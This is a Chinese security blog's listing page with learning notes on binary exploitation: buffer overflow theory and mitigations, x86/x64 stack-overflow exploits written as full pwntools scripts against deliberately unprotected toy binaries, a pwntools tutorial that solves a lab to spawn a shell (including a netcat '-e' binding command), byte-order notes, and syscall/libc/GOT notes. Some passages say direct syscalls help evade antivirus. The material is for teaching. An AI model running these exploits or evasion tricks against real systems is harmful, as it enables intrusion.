首页
关于
友链
Search
1
设备部署-NIDS入侵检测系统-Snort&Suricata
5 阅读
2
从方法重写到SQL注入-信呼OA审计
5 阅读
3
CVE-2025-11001
4 阅读
4
设备部署-HIDS入侵检测系统-Elkeid&Wazuh
4 阅读
5
Web入侵分析入口思路
3 阅读
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
登录
Search
标签搜索
学习笔记
蓝队
应急响应
代码审计
设备部署
内存马查杀
IDS
漏洞复现
JumpServer
HFish
雷池WAF
HIDS
Snort
Suricata
NIDS
Yara规则识别样本
ELK日志分析系统
Rookit查杀
容器应急
docker
N0va7
累计撰写
31
篇文章
累计收到
1
条评论
首页
栏目
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
页面
关于
友链
搜索到
8
篇与
的结果
2025-10-22
溢出的基本概念
什么是溢出程序向内存中写入超出预定范围的数据,导致程序执行异常或漏洞。缓冲区溢出是指程序向固定长度缓冲区写入超出其容量的数据,导致相邻内存被覆盖的漏洞。char str[4]; // 预定4字节空间 strcpy(str,"ABCDE"); // 写入5个字节 溢出!内存模型栈:函数调用时自动分配,溢出常覆盖返回地址堆:动态申请( malloc ),溢出常破坏堆块元数据溢出与内存管理的关系溢出本质是对内存架构的缺陷利用:它可以直接改写地址,改变返回地址,指针,或定义的结构。溢出的分类与原理类型栈溢出:局部数组写超,覆盖返回地址堆溢出:通过内存写超,改写 chunk metadata数值溢出:计算不合理导致指针错误/过小分配符号溢出:改写指针或表形字指针栈溢出原理栈结构:局部变量 -> 保存的 EBP -> 返回地址 (EIP)演化模式:把 ret 地址改成 shellcode / ROP 链首地址堆溢出原理chunk 结构:包含 size, fd, bkoff-by-one:类型也可改 size 最低位unlink 攻击:改写 fd/bk 进行堆内写入数值溢出举例: malloc(width * height * 4) 当两者特大,超越 4G 后结果是 0引发无还原的数据分配,导致无控分配空间对比总结类型触发场景经典漏洞栈溢出局部变量覆盖返回地址CVE-2014-0160心脏滴血堆溢出破坏堆块管理结构(如 chunk )CVE-2012-0769 Flash整数溢出数值计算超出类型范围CVE-2019-0708蓝屏格式化串溢出printf(user_input)CTF 高频考题溢出的表现与危害表现栈溢出:Segmentation fault堆溢出:malloc(): memory corruption整数溢出:程序逻辑错乱(如负数变超大)危害任意代码执行:攻击者利用溢出修改返回地址,执行恶意代码。权限提升:通过栈溢出攻击获取高权限操作系统资源。信息泄露:覆盖特定内存区域,窃取敏感数据。拒绝服务:利用溢出导致程序崩溃,造成拒绝服务(DoS)攻击。溢出漏洞的防护技术与绕过思路原理与对应编译参数防护技术原理简述GCC 编译参数说明Stack Canaries (栈保护)在返回地址前插入一个随机“金丝雀” 值,程序返回时检查该值是否被修改,若改变则立即终止程序。-fstack-protector / -fstack-protector-all-fstack-protector 保护带缓冲区的函 数;-all为强制保护所有函数。NX(Non- eXecutable)/DEP标记栈、堆等内存区域为不可执行,即使数据被写入,也不能执行。-z noexecstack默认在现代系统中启用,部分旧程序需显式添加ASLR(地址空间布 局随机化)系统每次加载程序时将堆、栈、库、PIE 段地址随机化,增加攻击者预测难度。无需编译参数,OS级启用:/proc/sys/kernel/randomize_va_space值为 2 表示全启用;攻击前常需泄露地址(leak)。RELRO(重定位表 只读保护)将.got 表设置为只读,防止运行时被篡改函数指针。-z relro(Partial) -z relro -z now (Full)Partial RELRO只保护一部分;Full强制立即解析符号。PIE(Position Independent Executable)将整个程序编译为位置无关,使.text 和全局变量也可随机加载。-fPIE -piePIE程序执行地址不固定,结合ASLR效果最佳。绕过思路防护技术绕过思路补充说明Stack Canaries通常通过 信息泄露 手段(如格式化字符串)读取栈上的 canary 值,再在 payload 中“保持原值”以绕过校验。如果栈不可读(不可泄露),Canary 成为极强保护。NX / DEP不能执行shellcode,转而使用ROP(Return_x0002_Oriented Programming)构造控制流,调用系统函数或构造系统调用。NX 是对 shellcode 类攻击的直接遏制,但对 ROP 无效。ASLR需要提前通过漏洞 泄露 libc 地址或程序段地址,再计算偏移构造完整 payload。PIE 开启时程序地址也随机化;关闭 PIE 时 main 固定在0x0804xxxx 等段。RELRO若启用 Full RELRO,则 .got 表不可写,攻击者不能改写函数地址,只能寻求其他可写目标(如__free_hook 等)或走 ROP。Partial RELRO 仍可改写 GOT表;实际攻击前需检查RELRO 类型。PIE若开启 PIE,则 .text 段地址每次启动变化,需配合泄露程序基地址的方式重定 payload。若使用 -no-pie ,程序地址固定,攻击构造大大简化。C/C++ 当中可能造成溢出的危险函数函数名危险原因替代建议strcpy无边界检查,可能拷贝超过目标缓冲区长度strncpy , strlcpy (Linux)strcat同上,无检查目标缓冲区剩余空间strncat , strlcatsprintf无边界,容易溢出缓冲区snprintfmemcpy无检查目标缓冲区大小memmove + 检查长度memset参数错误可能导致覆盖敏感内存区域使用封装过的安全函数bcopy与 memcpy 类似,兼容旧系统但危险memmovememcpy无检查目标缓冲区大小memmove + 检查长度memset参数错误可能导致覆盖敏感内存区域使用封装过的安全函数bcopy与 memcpy 类似,兼容旧系统但危险memmove溢出攻击防御思路编程安全技巧避免使用高危函数:在 C/C++ 编程中,某些标准库函数因缺乏边界控制或格式校验而成为攻击者的首选入口,应避免使用,比如上面列举的可能存在溢出攻击的函数内存操作安全习惯:所有字符串操作需显式指定目标缓冲区大小所有输入操作需校验长度、类型指针使用前需判断是否为 NULL使用封装安全函数替代裸 API,例如 C11 中的 strncpy_s 等动态内存检查此处仅作介绍工具名称平台功能特点ValgrindLinux动态内存分析工具,可检测越界、泄露等问题ASanLinux / Mac / Windows(Clang/GCC)AddressSanitizer,是现代编译器集成的高性能检测工具UBSan多平台UndefinedBehaviorSanitizer,检查未定义行为Dr.MemoryWindows类似 Valgrind,适合 Windows 环境使用Electric FenceLinux简单粗暴的内存越界检测,适合嵌入式小项目Visual Studio / MSVC内存调试器Windows集成化图形内存调试支持gdb + watchpointsGNU/Linux可通过调试器设置读写断点监控内存访问编译时防护编译参数含义及用途-fstack-protector启用栈保护机制,在返回地址前插入 canary 值检测栈溢出-fstack-protector-strong更强的保护,推荐默认开启-fPIE -pie启用 PIE(Position Independent Executable),配合 ASLR 提升地址随机性-no-pie禁用 PIE,使程序加载地址固定,调试时常用但风险高-z noexecstack禁止栈执行权限,启用 NX(不可执行栈)-z relro启用 GOT/PLT 表的写保护(部分保护)-z now配合 -z relro 实现 FULL RELRO(立即绑定 GOT 表)-D_FORTIFY_SOURCE=2对字符串/内存类函数调用添加运行时检查,依赖 -O2 优化级别-Wformat -Wformat- security检查格式化字符串漏洞,强烈建议开启-fsanitize=address编译时开启 AddressSanitizer 动态检测,适合开发调试阶段使用-m32 或 -m64编译为 32 位或 64 位目标架构栈溢出实例分析x86溢出示例#include <stdio.h> #include <stdlib.h> void hack() { printf("PWN! I Get Your System!!\n"); system("sh"); } void SayHello() { char name[0x20]; printf("Enter your name:"); fflush(stdout); scanf("%s", name); printf("Hello %s!\n", name); } int main() { SayHello(); } // gcc -m32 -fno-stack-protector -no-pie -z execstack test32.c -o test32-m32: 简化架构。-fno-stack-protector: 移除 Canaries 保护。-no-pie: 固定函数地址。-z execstack: 允许在栈上执行代码(为更高级利用铺路)。分析很明显,我们需要让函数调用到这个hack函数,而主程序代码中完全不涉及这个函数的相关代码,但是我们可以发现出现了一个C/C++中的危险函数scanf,这个函数是不存在边界检查的,当我们输入超过name数组的长度时就会爆出栈溢出的错误但是正常思维下,我们一般认为输入32个(0x20==32)就会报错,因为字符串末尾还有个\0结尾,但是这边反而没有出错反而一直到输入44才会报错这是因为name数组(32字节)存在4字节padding填充(因为x86栈帧要对齐4字节),然后还存在EBX(4字节)和EBP(4字节)地址,最后才是RET(4字节)地址,所以当我们填充44字节就会影响到RET地址从而影响EIP跳转到未知地址导致栈报错内存访问效率:x86 架构对 4 字节对齐访问优化数据结构对齐:int、pointer 等均为 4 字节ABI规范:System V ABI 要求栈帧对齐而我们的目标:就是返回的时候跳转到hack函数,也就是RET地址需要是hack函数的地址,RET会影响EIP的值,导致下一步执行hack函数EXP分析结束之后,我们就知道怎么使用pwntools来解决这个栈溢出问题#!/usr/bin/env python3 from pwn import * # local debug elf = ELF('./test32') log.info(f"Loaded the elf: {elf}") try: hack_addr = elf.symbols['hack'] log.info(f"Find the hack function address: {hack_addr}") except KeyError: log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?") # name[0x20] == 32 # padding == 4 # EBX == 4 # EBP == 4 # RET == 4 replace hack_addr offect_to_ret = 44 payload = b'A' * offect_to_ret # using x86 format to pack the addr payload += p32(hack_addr) log.info(f"Payload created: {payload}") # PWN the binary p = process('./test32') recv = p.recvuntil(b":") log.info(f"The binary's hint: {recv.decode()}") p.send(payload) log.info("Payload sent. Switching to interactive mode...") p.sendline() p.recvline() s = p.recvline().decode() if "PWN" in s: log.success("PWN the binary!!!!!") else: log.error("Failed.") p.interactive()x64溢出示例#include <stdio.h> #include <stdlib.h> void hack(){ printf("PWN!I Get Your System!!\r\n"); system("/bin/sh"); } void SayHello(){ char name[0x20]; printf("Enter your name:"); fflush(stdout); scanf("%s",name); printf("Hello %s!\r\n",name); } int main(){ SayHello(); } // gcc -m64 -fno-stack-protector -no-pie -z execstack test64.c -o test64分析x64程序每次压栈是传递8字节数据的此处分析程序其实很快就能发现他是先push RBP占位8字节,然后再开辟name的0x20,所以计算下来应该是40位#!/usr/bin/env python3 from pwn import * # local debug elf = ELF('./test64') log.info(f"Loaded the elf: {elf}") try: hack_addr = elf.symbols['hack'] log.info(f"Find the hack function address: {hack_addr}") except KeyError: log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?") # name[0x20] == 32 # No padding # EBP == 8 # RET == 8 replace hack_addr offset_to_ret = 32 + 8 payload = b'A' * offset_to_ret # using x64 format to pack the addr payload += p64(hack_addr) log.info(f"Payload created: {payload}") # PWN the binary p = process('./test64') recv = p.recvuntil(b":") log.info(f"The binary's hint: {recv.decode()}") p.sendline(payload) log.info("Payload sent. Switching to interactive mode...") s = p.recv(1024).decode() log.info(s) if "PWN" in s: log.info(f"recv the message: {s}") log.success("PWN the binary!!!!!") else: log.error("Failed.") p.interactive()但是当我们运行之后就会发现,出现报错,无法拿到shell根据回显的信息,我们基本可以确定是system函数执行时出现了问题,所以查了下相关资料,发现system函数必须在堆栈对齐的情况下才会正常运行,那我们就观察一下我们的堆栈是否正常64位ubuntu18以上系统调用system函数时是需要栈对齐的。具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐参考文章:CTFer成长日记12:栈对齐—获取shell前的临门一脚 - 知乎因为64位程序的地址是8字节的,而十六进制又是满16就会进位,因此我们看到的栈地址末尾要么是0要么是8。既然我们需要16字节对齐 也就是在调用system时(其实是执行movaps时) RSP(观察参数)指向的地址应该是0结尾的。断点调试可以发现,我们输入48字节的时候,这时候RSP是以8结尾的,就没有对齐,所以就会报段错误为了让它对齐得让它多执行一个RET指令,输入如下指令找一个RETobjdump -d test64 | grep -A 1 "ret"此时两次返回,就肯定能对齐了,因为64位程序不是8就是0#!/usr/bin/env python3 from pwn import * # local debug elf = ELF('./test64') log.info(f"Loaded the elf: {elf}") try: hack_addr = elf.symbols['hack'] ret_addr = 0x400526 log.info(f"Find the hack function address: {hack_addr}") except KeyError: log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?") # name[0x20] == 32 # No padding # EBP == 8 # RET == 8 replace hack_addr offset_to_ret = 32 + 8 payload = b'A' * offset_to_ret # using x64 format to pack the addr payload += p64(ret_addr) payload += p64(hack_addr) log.info(f"Payload created: {payload}") # PWN the binary p = process('./test64') recv = p.recvuntil(b":") log.info(f"The binary's hint: {recv.decode()}") p.sendline(payload) log.info("Payload sent. Switching to interactive mode...") s = p.recv(1024).decode() log.info(s) if "PWN" in s: log.info(f"recv the message: {s}") log.success("PWN the binary!!!!!") else: log.error("Failed.") p.interactive()同样的,如果你通过gdb去修改也可以实现getshell小测试#include <stdio.h> #include <stdlib.h> void hack(){ printf("PWN!I Get Your System!!\r\n"); system("/bin/sh"); } void SayHello(){ char name[36]; printf("Enter your name:"); fflush(stdout); scanf("%s",name); printf("Hello %s!\r\n",name); } int main(){ SayHello(); } // gcc -m64 -fno-stack-protector -no-pie -z execstack test_pro.c -o test_pro依旧gdb分析一波,看看name数组被分配多大空间name数组被分配了0x30,那就是48,再看看到hack函数的时候会不会出现栈帧没有对齐的情况当运行到system函数之前时,栈顶末尾并非为0,也就是说栈帧没有对齐,所以出现了直接退出的情况知道栈帧没有对齐的话,我们就知道怎么写exp了,就是找到一个retq补上即可EXP#!/usr/bin/env python3 from pwn import * # local debug elf = ELF('./test_pro') log.info(f"Loaded the elf: {elf}") try: hack_addr = elf.symbols['hack'] ret_addr = 0x4006f0 log.info(f"Find the hack function address: {hack_addr}") except KeyError: log.error("Symbol 'hack' not found in the binary. It is compiled correctly ?") # name[36] == 36 # padding == 12 # EBP == 8 # RET == 8 replace hack_addr offset_to_ret = 48 + 8 payload = b'A' * offset_to_ret # using x64 format to pack the addr payload += p64(ret_addr) payload += p64(hack_addr) log.info(f"Payload created: {payload}") # PWN the binary p = process('./test_pro') recv = p.recvuntil(b":") log.info(f"The binary's hint: {recv.decode()}") p.sendline(payload) log.info("Payload sent. Switching to interactive mode...") s = p.recv(1024) log.info(s) if b"PWN" in s: log.info(f"recv the message: {s}") log.success("PWN the binary!!!!!") else: log.error("Failed.") p.interactive()防御手段在上面的样例中我们知道scanf这个函数没有做边界检查,所以会导致栈溢出,当我们在编写代码的时候替换成存在边界检查的函数或者做一些修改就可以简单的防护栈溢出比如:#include <stdio.h> #include <stdlib.h> void hack(){ printf("PWN!I Get Your System!!\r\n"); system("/bin/sh"); } void SayHello(){ char name[36]; printf("Enter your name:"); fflush(stdout); scanf_f("%s",name); printf("Hello %s!\r\n",name); } int main(){ SayHello(); }以及#include <stdio.h> #include <stdlib.h> void hack(){ printf("PWN!I Get Your System!!\r\n"); system("/bin/sh"); } void SayHello(){ char name[36]; printf("Enter your name:"); fflush(stdout); scanf("%36s",name); printf("Hello %s!\r\n",name); } int main(){ SayHello(); }可以看到效果就是我输入40个A,但是它只覆盖了36个,限制死了边界,我们就没法进行栈溢出了
2025年10月22日
3 阅读
0 评论
0 点赞
2025-09-22
pwntools基础知识
pwntools是什么Python 编写的一个用于二进制利用的工具包重点对象:PWN/CTF/渗透测试提供便捷的 API,自动化部署,连接,构造 payload,ROP 分析,libc 查询等安装命令:pip install pwntools # pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pwntools主要功能测试程序#include <stdio.h> int main(){ char name[0x20]; printf("Enter Your Name:"); fflush(stdout); scanf("%s",name); printf("Hello %s!\n", name); puts("this is puts!"); return 0; } 编译命令:gcc -fno-stack-protector -no-pie -z execstack -m32 test.c -o test本地连接from pwn import * r = process("./test") # 本地运行 r.interactive() # 交互式 与本地运行效果基本一致远程连接前提条件该主机应该先将程序映射到对应的端口上nc.traditional -lvp 1234 -e ./test nc -lvp 1234 -e ./test远程连接端口from pwn import * # r = process("./test") # 本地运行 r = remote("192.168.48.139", 1234) # 远程 nc-like 连接 r.interactive() # 交互式 发送和接收数据recvuntil:接受数据sendline:发送数据interactive:交互式shell注意这边的发送数据要采用byte流发送,否则会失败from pwn import * # r = process("./test") # 本地运行 r = remote("192.168.48.139", 1234) # 远程 nc-like 连接 prompt = r.recvuntil(":",drop=True) print("prompt==>:",prompt) r.sendline(b"admin") data = r.recv(1024).decode() print("recv data:",data) r.interactive() # 交互式构造payloadp1 = b'A'*10+p32(0x080491d6) p2 = b'B'*10+p64(0x401238) print(p1,p2)总结系统功能ELFfrom pwn import * # r = process("./test") # 本地运行 r = remote("192.168.48.139", 1234) # 远程 nc-like 连接 #prompt = r.recvuntil(":",drop=True) #print("prompt==>:",prompt) #r.sendline(b"admin") #data = r.recv(1024).decode() #print("recv data:",data) #r.interactive() # 交互式 elf = ELF("./test") print(elf.symbols['main']) print(elf.got['puts'])跟我们执行checksec差不多ROP 链分析from pwn import * # r = process("./test") # 本地运行 r = remote("192.168.48.139", 1234) # 远程 nc-like 连接 #prompt = r.recvuntil(":",drop=True) #print("prompt==>:",prompt) #r.sendline(b"admin") #data = r.recv(1024).decode() #print("recv data:",data) #r.interactive() # 交互式 elf = ELF("./test") print(elf.symbols['main']) print(elf.got['puts']) rop = ROP(elf) print(rop.call("puts", [elf.got['puts']]))动态 shellcode 生成可以生成对应需求的shellcodeshellcode = asm(shellcraft.sh())可以看到会生成一个获取sh的shellcodepwntools实操Lab 0源码:#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <time.h> #include <unistd.h> void handler(int signum){ puts("Timeout"); _exit(1); } int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); signal(SIGALRM, handler); alarm(90); unsigned seed = (unsigned)time(NULL); srand(seed); unsigned int magic; printf("Give me the magic number :)\n"); read(0, &magic, 4); if (magic != 3735928559) { printf("Bye~\n"); exit(0); } printf("Complete 1000 math questions in 90 seconds!!!\n"); for (int i = 0; i < 1000; ++i) { int a = random() % 65535; int b = random() % 65535; int c = random() % 3; int ans; switch(c) { case 0: printf("%d + %d = ?", a, b); scanf("%d", &ans); if (ans != a + b) { printf("Bye Bye~\n"); exit(0); } break; case 1: printf("%d - %d = ?", a, b); scanf("%d", &ans); if (ans != a - b) { printf("Bye Bye~\n"); exit(0); } break; case 2: printf("%d * %d = ?", a, b); scanf("%d", &ans); if (ans != a * b) { printf("Bye Bye~\n"); exit(0); } break; } } printf("Good job!\n"); system("sh"); return 0; }MakeFile:pwntools: pwntools.c gcc pwntools.c -o pwntools源码分析我们既然有源码,那么就先看一下源码 printf("Give me the magic number :)\n"); read(0, &magic, 4); if (magic != 3735928559) { printf("Bye~\n"); exit(0); }这是第一个判断,我们要先通过magic的校验,不然就会直接弹出Bye,就像这样:而我们输入的内容会被read函数读取,他只读取四个字节,也就是说我们如果直接传入3735928559也是不行的应该传入十六进制的形式才行但是这个又涉及到大端小端的排序问题,所以我们就采用pwntools来帮助我们实现from pwn import * r = process("./pwntools") res = r.recvuntil(b":)") print(f"recv data 1: {res}") r.sendline(p32(3735928559)) print(f"send magic number: {p32(3735928559)}") r.interactive()此处使用p32就可以帮我们自动实现转换既然第一个if判断已经绕过了,那么让我们看看第二个限制 printf("Complete 1000 math questions in 90 seconds!!!\n"); for (int i = 0; i < 1000; ++i) { int a = random() % 65535; int b = random() % 65535; int c = random() % 3; int ans; switch(c) { case 0: printf("%d + %d = ?", a, b); scanf("%d", &ans); if (ans != a + b) { printf("Bye Bye~\n"); exit(0); } break; case 1: printf("%d - %d = ?", a, b); scanf("%d", &ans); if (ans != a - b) { printf("Bye Bye~\n"); exit(0); } break; case 2: printf("%d * %d = ?", a, b); scanf("%d", &ans); if (ans != a * b) { printf("Bye Bye~\n"); exit(0); } break; } } printf("Good job!\n"); system("sh");可以看到只有在90秒内计算出一千道题目的答案才能成功拿到shell,我们手算显然是不可能的,直接上脚本吧from pwn import * def calc(string): left = string.split("=")[0].strip() num1, opt, num2 = left.split() ret = eval(num1 + opt + num2) print(f"{num1} {opt} {num2} = {ret}") return ret r = process("./pwntools") res = r.recvuntil(b":)").decode() # receive the hint message print(f"recv data hint1: {res}") # send the magic number r.sendline(p32(3735928559)) print(f"send magic number: {p32(3735928559)}") # receive the hint message res = r.recvuntil(b"!!!").decode() r.recvline() print(f"recv data hint2: {res}") # loop for i in range(1000): res = r.recvuntil(b"?").decode() ret = calc(res) r.sendline(bytes(str(ret).encode())) r.interactive()成功拿下,此处其实就是在于提取计算表达式的问题,其他的问题倒是没有不过我们最好不要使用eval函数进行一个计算处理,如果人家在1000道题目中参杂了一个反弹shell的语句,自己的服务器就被别人拿到权限了,所以对于calc函数还可以进行进一步的优化from pwn import * import ast import operator # 定义支持的操作符 ops = { '+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.floordiv, # 或使用 truediv } def calc(string): left = string.split('=')[0].strip() num1_str, opt, num2_str = left.split() num1 = ast.literal_eval(num1_str) num2 = ast.literal_eval(num2_str) if opt not in ops: raise ValueError(f"Unsupported operator: {opt}") if opt == '/' and num2 == 0: raise ValueError("Division by zero") ret = ops[opt](num1, num2) print(f"{num1} {opt} {num2} = {ret}") return ret r = process("./pwntools") res = r.recvuntil(b":)").decode() # receive the hint message print(f"recv data hint1: {res}") # send the magic number r.sendline(p32(3735928559)) print(f"send magic number: {p32(3735928559)}") # receive the hint message res = r.recvuntil(b"!!!").decode() r.recvline() print(f"recv data hint2: {res}") # loop for i in range(1000): res = r.recvuntil(b"?").decode() ret = calc(res) r.sendline(bytes(str(ret).encode())) r.interactive()
2025年09月22日
2 阅读
0 评论
0 点赞
2025-09-22
字节序的定义与背景
多字节数据在内存中的排列方式在计算机中,一个变量的值往往由多个字节组成,例如 32 位整数占 4 个字节。不同的体系结构在将这些字节存入内存时,其排列顺序可能不同。举例:int a = 0x12345678,这个数值由四个字节组成:0x12, 0x34, 0x56, 0x78。为什么要关心字节序因为不同系统间的数据传输需要统一标准,否则读取结果可能出错。两种常见字节序小端序(Little-Endian)特点:低位字节存放在低地址处,高位字节存放在高地址处。举例:0x12345678内存排列: [0x78][0x56][0x34][0x12]使用平台:Intel x86 / x86_64代码示例:#include <stdio.h> int main() { int a = 0x12345678; unsigned char *p = (unsigned char *)&a; printf("Value of a: 0x%x\n", a); printf("Memory layout:\n"); for (int i = 0; i < 4; i++) { printf(" byte %d: 0x%x\n", i, p[i]); } return 0; } 输出结果:Value of a: 0x12345678 Memory layout: byte 0: 0x78 byte 1: 0x56 byte 2: 0x34 byte 3: 0x12这样可以形象的看出来小端序在内存中是如何排序保存的大端序(Big-Endian)特点:高位字节存放在低地址处,低位字节存放在高地址处。举例:0x12345678内存排列: [0x12][0x34][0x56][0x78]使用场景:网络协议(如 TCP/IP 标准)某些嵌入式平台(如 PowerPC)小结字节序只影响内存中的排列方式,不改变数值本身。字节序对程序的影响网络通信问题不同主机架构(大端 vs 小端)传输数据时,如果不统一字节序,接收端可能解读错误。TCP/IP 使用大端序,主机通常使用 htonl() 等函数转换为网络字节序。PWN/CTF 中的符号判断、爆破利用程序溢出漏洞时,输入的 payload 与内存中的布局严格相关,字节序决定目标地址的写入方式。如:覆盖返回地址时,需按照小端顺序构造字节串。二进制反汇编对字节序的敏感性汇编代码操作内存时,会按照平台默认字节序解释指令中的立即数和地址。错误理解字节序将导致调试分析结果出现偏差。判断字节序的常用方法C语言int check_endian() { int a = 1; return (*(char *)&a == 1) ? 0 : 1; // 返回0:小端;返回1:大端 } Pythonimport sys print(sys.byteorder) # 输出 little 或 big GDB 动态调试查看内存直接观察变量在内存中的字节排列方式,判断平台字节序。x/4xb &value字节序转换函数(网络相关)头文件#include <arpa/inet.h>主机转网络htons :Host to Network Short(16位)htonl :Host to Network Long(32位)网络转主机ntohs :Network to Host Shortntohl :Network to Host Long测试代码#include <stdio.h> #include <stdint.h> #include <arpa/inet.h> int main() { uint32_t host_value = 0x12345678; // 主机字节序 → 网络字节序(大端) uint32_t net_value = htonl(host_value); // 网络字节序 → 主机字节序 uint32_t recovered_value = ntohl(net_value); printf("原始主机字节序: 0x%x\n", host_value); printf("转换为网络字节序: 0x%x\n", net_value); printf("还原为主机字节序: 0x%x\n", recovered_value); // 直接打印字节内容 unsigned char *ptr = (unsigned char *)&net_value; printf("网络字节序的字节表示: "); for (int i = 0; i < 4; i++) { printf("%02x ", ptr[i]); } printf("\n"); return 0; } 原始主机字节序: 0x12345678 转换为网络字节序: 0x78563412 还原为主机字节序: 0x12345678 网络字节序的字节表示: 12 34 56 78一些常识CPU 是支持哪种字节序的?可否切换?大多数通用 CPU(x86/x86_64)默认使用小端序。某些 RISC 架构支持双模式(如 ARM 支持 bi-endian),但通常设为固定模式。混用架构或跨平台软件中的字节序陷阱多平台程序需显式处理字节序,避免不同架构产生的数据不一致。常用中间件或序列化框架(如 protobuf)内置处理机制。为什么现代平台倾向使用小端小端序对低位访问更加友好,适合逐字节处理。在低层硬件设计上更易实现,因此成为工业主流
2025年09月22日
2 阅读
0 评论
0 点赞
2025-09-21
系统调用与libc
系统调用什么是系统调用-System call用户态与内核态的概念用户态(User Mode):运行用户应用程序的非特权模式,无法直接访问硬件资源。内核态(Kernel Mode):操作系统核心运行环境,拥有对所有硬件资源的访问权限。程序无法直接从用户态访问内核资源,必须通过系统调用切换进入内核态执行关键任务。系统调用的触发机制x86 架构使用 int 0x80 中断指令触发系统调用,借助中断机制切换到内核态。x86_64 架构使用 syscall 指令,相比 int 0x80 更高效,减少切换延迟。x86示例代码const char msg[] = "Hello from int 0x80!\n"; int main() { asm volatile( "movl $4, %%eax;" "movl $1, %%ebx;" "movl %0, %%ecx;" "movl $21, %%edx;" "int $0x80;" : : "r"(msg) : "%eax", "%ebx", "%ecx", "%edx" ); return 0; }gcc -m32 -fno-stack-protector -no-pie syscal_int80.c -o syscal_int80gdb调试看汇编代码是否可以看到int $0x80disas main确认可以看到,接下来在此处打断点调试,发现执行完这个语句之后就成功输出内容b main run b *main+38 run si可以看到我们这边的触发跟之前都不一样,之前的代码汇编都会出现call 某个地址,而我们直接进行系统调用的话,就不用去触发跳转,一步到位。其实这种方式也在免杀中经常使用到,因为其避免了大部分调用链,不会出现多次调用,也就不容易被查杀x86_64示例代码看完x86的代码,我们再来看看x86_64的代码系统调用是怎么个事儿?const char msg[] = "Hello from syscall!\n"; int main() { asm volatile ( "mov $1, %%rax;" "mov $1, %%rdi;" "mov %0, %%rsi;" "mov $20, %%rdx;" "syscall" : : "r"(msg) : "%rax", "%rdi", "%rsi", "%rdx" ); return 0; }gcc -no-pie syscall_syscall.c -o syscall_syscall这边也可以看到这个所谓的系统调用syscall重复x86的调试步骤,看看单步执行之后是否会直接输出结果也是一样的直接输出结果那么我们现在肯定很多疑问,说了半天,这个什么调用我也看不懂啊?没关系,下面就来解答问题,这些问题基本都跟系统调用表有关系系统调用表与调用号-Syscall Number系统调用由唯一编号识别,操作系统维护一张系统调用表(system call table)。应用程序通过设置系统调用号在寄存器中,并传递参数,触发调用。例如:x86_64位Linux 下 write 对应 syscall number 为 1, read 为 0。相关系统调用表:Linux X86架构 32 64系统调用表_32位 syscall-CSDN博客常用系统调用函数read :读取文件或标准输入write :写入到标准输出或文件(这个函数就是我们用到的输出函数)open / close :文件操作接口execve :执行新程序mmap :内存映射区域申请fork :进程复制机制我们在x86的程序下在系统调用之前打断点来观察寄存器发现什么?eax为4,ecx为一个地址,edx为21,ebx为1这边eax默认是系统调用表中的调用号,write对应4,也就是输出ecx存储着字符串的地址,我们可以看下这个字符串如果有细心的人其实就已经发现edx其实是字符串长度了,正好是21至于ebx就是文件描述符,进程中每个打开的文件都用一个编号来标识,成为文件描述符,文件描述符1表示标准输出,对应的C标准I/O库的stdout那么x86_64是什么样子的?此时记得x86_64的write对应的调用号为1,rdi和ebx对应,rsi对应字符串地址strace快速定位系统调用一步一步这么分析是不是感觉很费劲,于是我们现在就要说一个小工具,它可以快速帮助我们展示程序运行过程中触发的所有系统调用strace ./syscal_int80直接定位出是wirte什么是libclibc 是用户程序调用系统服务的中间层。包含标准函数(如 printf、malloc)并负责调用 syscall 实现底层功能。常见实现glibc:GNU 实现,功能最全面。musl libc:轻量级,广泛用于容器环境。uClibc:极简型,适合嵌入式系统。常用函数族基本上最底层的代码都会调用到这些类别系统调用与 libc 的关系libc 封装机制write() → 底层 syscall(SYS_write, ...):本质还是syscalllibc 封装提供缓存、优化机制,提升程序运行效率。直接 syscall 与间接调用 libc 区别直接 syscall 减少依赖,常用于 shellcode、逆向分析。间接调用依赖 libc,功能更丰富但易被 hook。提权漏洞中的 libc 绕过利用 ROP(返回导向编程)链执行 system() 、 execve()函数可直接跳转到 libc 中函数,或构造 syscall 指令手动调用最常见的比如说dirtycow、dirtypipe都是对libc的绕过来实现提权的ELF GOT/PLT 与延迟绑定机制PLT:程序首次调用某函数时才解析地址GOT:记录已解析函数地址利用 GOT 劫持可实现控制流劫持与 ROP 利用这个现在可以不用了解那么深,后续会继续讲到:Pwn基础:PLT&GOT表以及延迟绑定机制-腾讯云开发者社区-腾讯云不过这里我们还是进行一个简单的小demo了解一下:源码:#include <stdio.h> int main() { puts("Hello puts1"); puts("Hello puts2"); return 0; }编译:gcc -m32 -g -no-pie lazy.c -o lazy然后进行gdb的调试:先在main函数下断点,并查看puts函数的真正地址:b main run print puts此时puts函数的真正地址为:0xf7e4ed90那么我们查看对应的main函数汇编代码,并在两个puts函数调用之前下断点:disas main b *main+36 b *main+54 n跟进去查看对应的plt地址,发现其里面的第一条命令就是跳转到另一个地址(GOT)中,查看对应地址的内容发现并非我们想象中puts的函数地址,因为此时处于第一次调用还没加载函数地址到其中x/i 0x80482e0 x/x 0x804a00c让其继续执行到下一个puts函数的调用看看n x/x 0x804a00c print puts发现此时两者一致了,说明已经加载到GOT表中了其实说了这么多,这个机制说白了就是对于没用到的函数第一次使用时才加载,后续使用直接到GOT表找到真正的函数地址调用,而对于没使用到的函数就直接不管不加载,这就是延迟绑定(懒加载)Windows系统调用基础(了解)Win API 与 Native API 的区别Win API:高级接口,如:CreateFile(),面向开发者Native API:底层接口,如:NtCreateFile(),通过 syscall 实现通过 Win API 来实现调用的话确实很方便,但是调用非常明显,容易被杀软发现静态特征,如果通过 Native API 来实现的话就直接到达底层,对于杀软来说调用链非常隐蔽,静态特征不明显,容易绕过静态查杀
2025年09月21日
2 阅读
0 评论
0 点赞
2025-09-21
栈的先入后出
